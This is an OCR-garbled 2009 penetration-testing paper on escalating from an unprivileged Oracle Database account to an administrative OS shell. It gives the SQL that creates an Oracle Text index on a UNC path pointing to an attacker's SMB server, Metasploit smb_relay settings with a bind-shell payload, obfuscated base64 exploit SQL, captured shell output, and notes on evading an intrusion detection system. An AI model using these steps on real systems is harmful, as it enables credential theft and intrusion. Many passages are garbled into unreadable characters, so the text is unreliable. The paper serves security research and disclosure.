W) vy

April 8, 2009

Penetration from
application down to OS

Getting OS access using Oracle
Database unprivileged user

Digif’ | Security Research Group (DSecRG)

Alexandr Polyakov

research@dsecrg.com
www.dsecrg.com



Table of Content

L goTo 18 Tox Ao H TP US PR PR 3
Brief info about Pass The Hash T00IS..........cooviiiiiiiiiee e 4
Connecting to remote SMB SHAIE ..........cooioiiiiecee e e 5
Details Of EXPIOITALION .......eeiiiiie e e e sre e enes 6
Automatic Exploitation using ora_ntlm_stealer from Metasploit............c.ccccoivevieiieiieinciennn, 7
SNIFAING HTTP NTLIM ..ottt sttt ettt e ene e 10
INVISIDIILY FOF IDS ...ttt et e st e e be e e e s reesreenaesreenreens 10
(070 ] 0 o (3151 To] o RSP RPTURPRPRRRRRP 11
IVTBEEITAIS ...ttt b bbbttt et b b bbbt n e 12



Introduction

Once upon a time during a penetration test of corporate network | got a unprivileged
account on Oracle Database and my plan was to get administrative shell \wer sdnere its
database was installed. Server was running Windows 2003 server operation system and Oracle
database was running with privileges of Administrator (not LOACL_SYSTEM) account. It is
quite common situation, though. Default way is to escalateilpges on database using one of
the latest SQL Injection vulnerabilities and then using DBA privileges to gain access to OS usir
one of the popular methods such as ExtProc, Java, extjodefo it seems to be quite simple
and | thought about anotheways.

What if database is patched with latest CPU updates and additionally it has some kind of
Intrusion Detection System which can finddy vulnerabilities or something like this and it is
impossible to escalate privileges using SQL Injections. Ofecthere are some methods of
escalating privileges without exploits. For example: find cleartext passwords in database or
connect to listener internally and rewrite log file or escalate privileges using some dangerous
NEfSa &adzOK | & WEIWI /we ! 1I¢®, ! DL/ @ IwWLDIDW w® 2 NJ
YSGK2Ra OlFyQi 3IAGS &2dz mnmx: &dz00Saao L 3IdzS
but better then described.

In short, this paper describes investigations to get administrative shell orr $eviag
unprivileged rights on Oracle Database



Brief info aboutPassTheHash tools

LiQa ¢Sttt (y2ey FlLOG GKIG Fyeé dzzaSNI Oty
hash of users password and there are a plenty of utilities like msvct| Pshtoolkit, PtHpwnerand
other pentesters tools that can give you administrative access in corporate network using only
one hash (if you lucky) [2]. But the biggest question is how to get this hash.

There are two main ways to get user hash under which privileges Oracle RDBMS process
IS running. First way is to get access to OS and dump it from SAM using any of tools such as
pwdump gsecdumpfgdumpS G O . dzi GKA A& gF & Aa y20 adzZAdl ¢
have access to OS. The other way is to initialize connection to remote SMB share from database
console. Using this method we can steal NTLM challenge-response strings of authentication
user under which privileges Oracle RDBMS process is running with help from our fake SMB
server.



Connecting to remote SMBhare

Before we can release this concept in practice we must find a method to connect to
remote SMB share from Oracle Database console. There are many methods to do this (see the
table below) but unfortunately almost all of them need a DBA rights or other high privileges.

ExtProc CREATE ANY LABRARY
Java JAVAADMIN

JOB Scheduler CREATE EXTERNAL JOB
Change PLSQL compiler ALTER SYSEM

UTL_FILE CREATE ANY DIRECTORY
DBMS_JOB CREATE ANY DIRECTORY
DBMS_ADVISOR CREATE ANY DIRECTORY

But there is one method to read OS files without having High privileges is Oracle Text
(ctxsys.contexh Y RSEUVU® ¢KA& YSUK2R 6l & aK26y Ay
Alexander shown an example of how to read boot.ini file using Oracle Text and he said user
needs CTXAPPRle to reproduce this method.

During my researching of this method | found that CTXAPole is not needed. It was
confirmed on practice. After that | found a documented confirmation of this text in official
guide & h NJ- O tAgplicatich Ba¥eloper's Guide 10g Release 2¢ [@]

Any user can create an Oracle Text index and issue a Text quer€ZTXAd’Prole
enables users to create preferences and use the PL/SQL packages.

Also | found that it is possible to read not only local but also remote files on SMB shares.
So using this method we can initialize NTLM challenge-response authentication to our fake SMB
server.

As a result we find a method for stealing NTLM challenge-response authentication using
Oracle database account with only CONNECT and RESOURCE privileges which is given by default
to almost any user!
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Details of exploitation

At first we must create a special table.

SQL> CREATE TABLE files (id NUMBER PRIMARY KEY, path VARCHAR(255) UNIQUE,
ot_format VARCHAR(6));

After that we must insert network path of our SMB share into created table.

SQL> INSERTINTO files VALUEF216D2356\SHARB, NULL) ;

And finally we create ctxsys.context index on path column.

SQL> CREATE INDEX file_index ON files(path) INDEXTYPE IS ctxsy s.context
PARAMETERS (6datastore ctxsys.file_ _datastore for mat

During creation of this index RDBMS process initializes remote connection to
\\172.16.0.235\SHARE and tries to authenticate with credentials of user under which privileges
Oracle RDBMS process is running (In our example it is Administrator).

So if we preliminary run fake SMB server on server with IP address 172.16.0.235 we can
get HALFLM challenge hashes of password. And because we can make our own predefined
challenge we can decrypt it using Rainbow tables or using brute force techniques. [5] After
decryption we can get a Administrator password and connect to server. The game is over.

But this is not the end, though. Someone can argue that in some situations it is
impossible to decrypt password and it is right. So we can try another way ¢ smb_relay. Using
this attack we R2 y Qi ge8yptRashibat just replay intensification process to server and
authenticate as Administrator.



Automatic Exploitation usingora_ntlm_stealerfrom Metasploit

For automatic exploitation | wrote auxiliary module ora_ntim_stealerfor Metasploit
which implements this attack. [6]

To reproduce this attack you must at first run smb_relay module from Metasploit. [7]

Microsoft Windows SMB Relay Code Execution (6) =:
EXPLOIT windows/smb/smb_relay =
TARGET Autamatic
PAYLOAD windows/shell_bind tcp
STANDARD OPTIONS
SMBHOST
The target SMB server (leave empty for originating system) (type: address)
SRVHOST Required
The local host ta listen on. (type: address) 172.16.1 3
SRVPORT Fequired
The local port to listen on. (type: port) 134
EXITFUNC Fequired
Exit technigue: seh, thread, process (type: raw) seh
LPORT Required
The local port (type: port) 4444

Running smb_relay module from Msfzoit



After that you must select ora_ntlm_stealemodule and as IP parameter you must set
address of remote SMB server which you create in previous step. Then you must run this
module which will generate SQL code of exploit. This code you can get from
Jdata/exploits/msf.sqfile (by default).

# root@auli: ~Iframework-trunk

options:
Current 3 gquired Description

FILENAME
IF
OUTPUTFATH

iption:
Thiz module
unpriwvil : : [vou
you must £i
Then wou mwust
NTLHK

ors £o which runs
HLLFLM hash

on compl
aler) = I

ora_ntlm_stealer at work



The next step is connecting to database using any database account like SCOTr
DBSNMPAfter we check that we have no privileges except CONNECdand RESOURGHe run
SQL code generated using ora_ntlm_stealer

CAWINDOWS\system 3 2\cmd.exe - sqlplus scottftiger@172.16.0.113forcl

C:~Documents and Settings“Alexandr.Polyakovsglplus scott stigerfl?2_16.0.113/0rc
1

SQL*Plus: Helease 10.2.0.1.0 — Production on Tue Apr ¥ 17:0%:25 2009
Copuright <c2> 1982, 2005, Oracle. All rights reserved.
Connected to:
Oracle Database 10g Enterprise Edition Release 10.1.0_.2.0 - Production
With the Partitioning,. OLAP and Data Mining options
2QL> select * from wser_role_privs;

GRANTED_ROLE ADM DEF 0OS_

CONNECT NO YES NO
RESOURCE NO YES NO

SQL> select * from wuser_sys_privs;

no rows selected

SQ%) DECLARE

QJFEAMQUO UARCHARZ (327672 ;

SIDSF UARCHARZ2C3I2767);

HH UARCHARZ2C32767>;

BEGIN

QJFEAMQUWO = utl_raw.cast_to_varcharZ{utl_encode.basebd
decode<ut]l_raw.cast_to_raw!’ Q1 JFQURFIFREGkxFIFFKWFROS1BH I ChpZCBEOUULCRUI gUFJJTUFS
WSBLEUEs c GFOaCEWQUJDSEFSKDI 1 NS kgUUSJUDUFLG?0R 2 Zvcnl hdCBUQUJIDSEFS KDY pKQ=="2332;

7 ESECUTE IMMEDIATE QJFEAMQWO;

8 SIDSF == utl_raw.cast_to _varcharZ2<utl_encode.hasebd_deco
defut]l_raw_cast_to_raw(’' SUSTRUJUIEIOUVEBgUUpYUESKUEc gUKFMUUUT I CgxLCAnAFuxNzTuMTYu
ME4=EFHI QUJFJyngT IUMTCk=" 22>

9 EXECUTE IMMEDIATE SIDSF;

1@ HH = utl_raw.cast_to_varchar2{utl_encode.basebd_decodet
utl_raw.cast_to_raw(’ QlJFQURFIE1OREVY I EpZRCBFT iBRS 1hUT kpGRyhwY ERoKSBJT kRFUFRZUEU
gSUMgY3R4c3 1zLmMubnR1eHQgUEFS QU1 FUEVSUyAo J2 RhdGF=dG? wZSEjdHhzeiMuZnls ZU kY A Rhc 3R
yenlgZm? yhWFOIGMubHUthiBudFImbh3JtY5QnKQ=="2332;

11 EﬁECUTE IMMEDIATE HHN:

PL-5QL procedure successfully completed.
SQL >

Connection to DBMS and exploitation of vulnerability



After we see that procedure is successfully completed we can check our smb_relay
module output and see that somebody with IP address 172.16.0.113 tried to connect to our
fake SMB server. Connection was initialized from user under which privileges Oracle RDBMS
process is running.

trol Manager...
handle...

le...
n 1 gpened (172.16.1.3:4444 -> 172.16.0.113:4749)

D ti .
Sending 2 7 Denied to 172.16.0.113:4745 CRACLETSTS Ldwinistra

Result of attack; getting remote shell on target server

SniffingHTTANTLM

There is another method to get access to OS by stealing HTTP NTLM hashes. [8] You can
use squirtle utility for it. This utility acts like fake web server which forces HTTP NTLM
authorization when someone tries to connect to it. So you can try to connect from Oracle to
fake web server and you will get NTLM authorization credentials. It will not be a clear LM or
NTLM hash but you can still decrypt it by bruteforce or using Rainbow tables. To force HTTP
NTLM authorization you can connect to your fake web server from Oracle using packets like
utl_http or HTTPUriType

Invisibility for IDS

One of the big advantages of this method is invisibility for Intrusion Detection Systems
and Database security mechanisms, due to the fact it uses a non-popular way to read local files
YR R2Yy Qi dzd S Mdtdsizinit rhodule $rE Inlim2stedlet glves you additional
protection from detecting because it uses methods for masking attack.

This method was tested on the most popular (and really good) Database Intrusion
Detection and Prevention system Sentrigo Hedgehog. [10] Hedgehog did not detect this attack
and we gain administrative access on Database server.

10



Conclusion

This document describes one of the methods of getting access to OS using Oracle
Database account. This method has two advantages. You need only unprivileged account in
Database (In our penetration test statistics about 95% of DBMSes has default user accounts
with default passwords or users with dictionary passwords) and this method is invisible for
most of the intrusion detection systems.
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Materials

1. Some of the ways to get OS access from Database (Alexander Polyakov [DSecRG])
http://dsecrg.com/pages/expl/show.php?id=23

http://dsecrg.com/pages/expl/show.php?id=24

http://dsecrg.com/pages/expl/show.php?id=25

2.NTLMe x a |Johec h om o™ 9 ¢inrdssian) (Anton Karpov [Digital Security])
http://www.securitylab.ru/analytics/362448.php

3. Oracle Text Application Developer's Guide 10g Release
http://youngcow.net/doc/oracle10qg/text.102/b14217/admin.htm

4.0 £t SEIF' YRSN) Y2NYyo6dzaGQa of 23
http://blog.red-database-security.com/2009/02/07/what-is-more-dangerous-alter-session-or-

0s-access/

5. Using Metasploit smb-sniffer module
http://carnalOwnage.blogspot.com/2009/04/using-metasploit-smb-sniffer-module.html

6. ora_ntlm_stealer for Metasploit
http://trac.metasploit.com/changeset/6464

7. Metasploit project web site
http://metasploit.com/

8. NTLM authentication for HTTP
http://www.innovation.ch/personal/ronald/ntlm.html

9. Squirtle utility
http://code.google.com/p/squirtle/

10. Sentrigo Hedgehog website
http://sentrigo.com/
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